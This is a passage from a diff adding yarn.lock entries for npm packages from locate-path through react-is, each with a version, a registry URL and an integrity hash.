"https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0" + integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g== + dependencies: + p-locate "^4.1.0" + +locate-path@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286" + integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== + dependencies: + p-locate "^5.0.0" + +lodash.memoize@^4.1.2: + version "4.1.2" + resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe" + integrity sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag== + +lru-cache@^10.2.0: + version "10.4.3" + resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-10.4.3.tgz#410fc8a17b70e598013df257c2446b7f3383f119" + integrity sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ== + +lru-cache@^5.1.1: + version "5.1.1" + resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920" + integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w== + dependencies: + yallist "^3.0.2" + +make-dir@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-4.0.0.tgz#c3c2307a771277cd9638305f915c29ae741b614e" + integrity sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw== + dependencies: + semver "^7.5.3" + +make-error@^1.3.6: + version "1.3.6" + resolved "https://registry.yarnpkg.com/make-error/-/make-error-1.3.6.tgz#2eb2e37ea9b67c4891f684a1394799af484cf7a2" + integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw== + +makeerror@1.0.12: + version "1.0.12" + resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.12.tgz#3e5dd2079a82e812e983cc6610c4a2cb0eaa801a" + integrity sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg== + dependencies: + tmpl "1.0.5" + +math-intrinsics@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9" + integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g== + +merge-stream@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60" + integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w== + +micromatch@^4.0.8: + version "4.0.8" + resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.8.tgz#d66fa18f3a47076789320b9b1af32bd86d9fa202" + integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA== + dependencies: + braces "^3.0.3" + picomatch "^2.3.1" + +mimic-fn@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b" + integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg== + +minimatch@^10.2.2, minimatch@^10.2.4: + version "10.2.4" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde" + integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg== + dependencies: + brace-expansion "^5.0.2" + +minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2, minimatch@^3.1.5: + version "3.1.5" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e" + integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w== + dependencies: + brace-expansion "^1.1.7" + +minimatch@^9.0.4: + version "9.0.9" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.9.tgz#9b0cb9fcb78087f6fd7eababe2511c4d3d60574e" + integrity sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg== + dependencies: + brace-expansion "^2.0.2" + +minimist@^1.2.0, minimist@^1.2.5, minimist@^1.2.6: + version "1.2.8" + resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c" + integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA== + +"minipass@^5.0.0 || ^6.0.2 || ^7.0.0", minipass@^7.1.2: + version "7.1.2" + resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz#93a9626ce5e5e66bd4db86849e7515e92340a707" + integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw== + +ms@^2.1.1, ms@^2.1.3: + version "2.1.3" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" + integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== + +mustache@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/mustache/-/mustache-4.2.0.tgz#e5892324d60a12ec9c2a73359edca52972bf6f64" + integrity sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ== + +napi-postinstall@^0.3.0: + version "0.3.4" + resolved "https://registry.yarnpkg.com/napi-postinstall/-/napi-postinstall-0.3.4.tgz#7af256d6588b5f8e952b9190965d6b019653bbb9" + integrity sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ== + +natural-compare@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7" + integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw== + +neo-async@^2.6.2: + version "2.6.2" + resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f" + integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw== + +node-int64@^0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b" + integrity sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw== + +node-releases@^2.0.27: + version "2.0.27" + resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.27.tgz#eedca519205cf20f650f61d56b070db111231e4e" + integrity sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA== + +normalize-path@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65" + integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== + +npm-run-path@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea" + integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw== + dependencies: + path-key "^3.0.0" + +object-inspect@^1.13.1: + version "1.13.2" + resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.2.tgz#dea0088467fb991e67af4058147a24824a3043ff" + integrity sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g== + +object-inspect@^1.13.3, object-inspect@^1.13.4: + version "1.13.4" + resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213" + integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew== + +object-keys@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e" + integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA== + +object.assign@^4.1.5: + version "4.1.5" + resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.5.tgz#3a833f9ab7fdb80fc9e8d2300c803d216d8fdbb0" + integrity sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ== + dependencies: + call-bind "^1.0.5" + define-properties "^1.2.1" + has-symbols "^1.0.3" + object-keys "^1.1.1" + +object.assign@^4.1.7: + version "4.1.7" + resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d" + integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + has-symbols "^1.1.0" + object-keys "^1.1.1" + +object.fromentries@^2.0.8: + version "2.0.8" + resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.8.tgz#f7195d8a9b97bd95cbc1999ea939ecd1a2b00c65" + integrity sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-abstract "^1.23.2" + es-object-atoms "^1.0.0" + +object.groupby@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.3.tgz#9b125c36238129f6f7b61954a1e7176148d5002e" + integrity sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-abstract "^1.23.2" + +object.values@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.2.1.tgz#deed520a50809ff7f75a7cfd4bc64c7a038c6216" + integrity sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + +once@^1.3.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" + integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w== + dependencies: + wrappy "1" + +onetime@^5.1.2: + version "5.1.2" + resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e" + integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg== + dependencies: + mimic-fn "^2.1.0" + +optionator@^0.9.3: + version "0.9.4" + resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734" + integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g== + dependencies: + deep-is "^0.1.3" + fast-levenshtein "^2.0.6" + levn "^0.4.1" + prelude-ls "^1.2.1" + type-check "^0.4.0" + word-wrap "^1.2.5" + +own-keys@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358" + integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg== + dependencies: + get-intrinsic "^1.2.6" + object-keys "^1.1.1" + safe-push-apply "^1.0.0" + +p-finally@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae" + integrity sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow== + +p-limit@^2.2.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1" + integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w== + dependencies: + p-try "^2.0.0" + +p-limit@^3.0.2, p-limit@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b" + integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== + dependencies: + yocto-queue "^0.1.0" + +p-locate@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07" + integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A== + dependencies: + p-limit "^2.2.0" + +p-locate@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834" + integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== + dependencies: + p-limit "^3.0.2" + +p-queue@6.6.2, p-queue@^6.6.2: + version "6.6.2" + resolved "https://registry.yarnpkg.com/p-queue/-/p-queue-6.6.2.tgz#2068a9dcf8e67dd0ec3e7a2bcb76810faa85e426" + integrity sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ== + dependencies: + eventemitter3 "^4.0.4" + p-timeout "^3.2.0" + +p-queue@^9.0.1: + version "9.1.0" + resolved "https://registry.yarnpkg.com/p-queue/-/p-queue-9.1.0.tgz#846e517c461fb6e3cf8fc09904e57d342ac448b2" + integrity sha512-O/ZPaXuQV29uSLbxWBGGZO1mCQXV2BLIwUr59JUU9SoH76mnYvtms7aafH/isNSNGwuEfP6W/4xD0/TJXxrizw== + dependencies: + eventemitter3 "^5.0.1" + p-timeout "^7.0.0" + +p-retry@^7.1.1: + version "7.1.1" + resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-7.1.1.tgz#7470fdecb1152ba50f1334e48378c9e401330e24" + integrity sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w== + dependencies: + is-network-error "^1.1.0" + +p-timeout@^3.2.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-3.2.0.tgz#c7e17abc971d2a7962ef83626b35d635acf23dfe" + integrity sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg== + dependencies: + p-finally "^1.0.0" + +p-timeout@^7.0.0: + version "7.0.1" + resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-7.0.1.tgz#95680a6aa693c530f14ac337b8bd32d4ec6ae4f0" + integrity sha512-AxTM2wDGORHGEkPCt8yqxOTMgpfbEHqF51f/5fJCmwFC3C/zNcGT63SymH2ttOAaiIws2zVg4+izQCjrakcwHg== + +p-try@^2.0.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6" + integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ== + +package-json-from-dist@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz#4f1471a010827a86f94cfd9b0727e36d267de505" + integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw== + +parent-module@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2" + integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g== + dependencies: + callsites "^3.0.0" + +parse-json@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd" + integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg== + dependencies: + "@babel/code-frame" "^7.0.0" + error-ex "^1.3.1" + json-parse-even-better-errors "^2.3.0" + lines-and-columns "^1.1.6" + +path-exists@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" + integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== + +path-is-absolute@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" + integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg== + +path-key@^3.0.0, path-key@^3.1.0: + version "3.1.1" + resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375" + integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q== + +path-parse@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735" + integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw== + +path-scurry@^1.11.1: + version "1.11.1" + resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.11.1.tgz#7960a668888594a0720b12a911d1a742ab9f11d2" + integrity sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA== + dependencies: + lru-cache "^10.2.0" + minipass "^5.0.0 || ^6.0.2 || ^7.0.0" + +picocolors@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.0.1.tgz#a8ad579b571952f0e5d25892de5445bcfe25aaa1" + integrity sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew== + +picocolors@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b" + integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA== + +picomatch@^2.0.4, picomatch@^2.3.1: + version "2.3.1" + resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42" + integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA== + +picomatch@^4.0.2, picomatch@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-4.0.3.tgz#796c76136d1eead715db1e7bad785dedd695a042" + integrity sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q== + +pirates@^4.0.7: + version "4.0.7" + resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.7.tgz#643b4a18c4257c8a65104b73f3049ce9a0a15e22" + integrity sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA== + +pkg-dir@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3" + integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ== + dependencies: + find-up "^4.0.0" + +possible-typed-array-names@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz#89bb63c6fada2c3e90adc4a647beeeb39cc7bf8f" + integrity sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q== + +prelude-ls@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396" + integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g== + +prettier-linter-helpers@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/prettier-linter-helpers/-/prettier-linter-helpers-1.0.1.tgz#6a31f88a4bad6c7adda253de12ba4edaea80ebcd" + integrity sha512-SxToR7P8Y2lWmv/kTzVLC1t/GDI2WGjMwNhLLE9qtH8Q13C+aEmuRlzDst4Up4s0Wc8sF2M+J57iB3cMLqftfg== + dependencies: + fast-diff "^1.1.2" + +prettier@^3.9.4: + version "3.9.4" + resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.9.4.tgz#a9c477cf1614376bd1f6bbc593d8c0d414bcec87" + integrity sha512-yWG/o/4oJfo036EKAfK6ACAoDOfHeRHx4tuxkfBZiauURiaSmYwlpOr5LQqKtIkRD2z1PLteme2WoxEnj4tHTg== + +pretty-format@30.2.0, pretty-format@^30.0.0: + version "30.2.0" + resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-30.2.0.tgz#2d44fe6134529aed18506f6d11509d8a62775ebe" + integrity sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA== + dependencies: + "@jest/schemas" "30.0.5" + ansi-styles "^5.2.0" + react-is "^18.3.1" + +pretty-format@30.4.1: + version "30.4.1" + resolved "https://registry.yarnpkg.com/pretty-format/-/pretty-format-30.4.1.tgz#0911652e92e1e91f475e3e6a16e628e50649ea69" + integrity sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw== + dependencies: + "@jest/schemas" "30.4.1" + ansi-styles "^5.2.0" + react-is-18 "npm:react-is@^18.3.1" + react-is-19 "npm:react-is@^19.2.5" + +punycode@^2.1.0: + version "2.3.1" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5" + integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg== + +pure-rand@^7.0.0: + version "7.0.1" + resolved "https://registry.yarnpkg.com/pure-rand/-/pure-rand-7.0.1.tgz#6f53a5a9e3e4a47445822af96821ca509ed37566" + integrity sha512-oTUZM/NAZS8p7ANR3SHh30kXB+zK2r2BPcEn/awJIbOvq82WoMN4p62AWWp3Hhw50G0xMsw1mhIBLqHw64EcNQ== + +"react-is-18@npm:react-is@^18.3.1": + version "18.3.1" + resolved "https://registry.yarnpkg.com/react-is/-/react-is-18.3.1.tgz#e83557dc12eae63a99e003a46388b1dcbb44db7e" + integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg== + +"react-is-19@npm:react-is@^19.2.5": + version "19.2.7" + resolved "https://registry.yarnpkg.com/react-is/-/react-is-19.2.7.tgz#57668ee86a78574a542b0a539455212b2c086df2" + integrity sha512-kZFnouyVv7eP/Phmrlo9FK+zcAdriZJvzxXHF1Sl1P377WSGe2G/JxVolhTrB/jeV47lKImhNUsijjHAAbcl/A== + +react-is@^18.3.1: + version "18.3.1" + resolved "https://registry.yarnpkg.com/react-is/-/react-is-18.3.1.tgz#e83557dc12eae63a99e003a46388b1dcbb44db7e" + integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg== + +reflect.getprototypeof@^1.0.6, 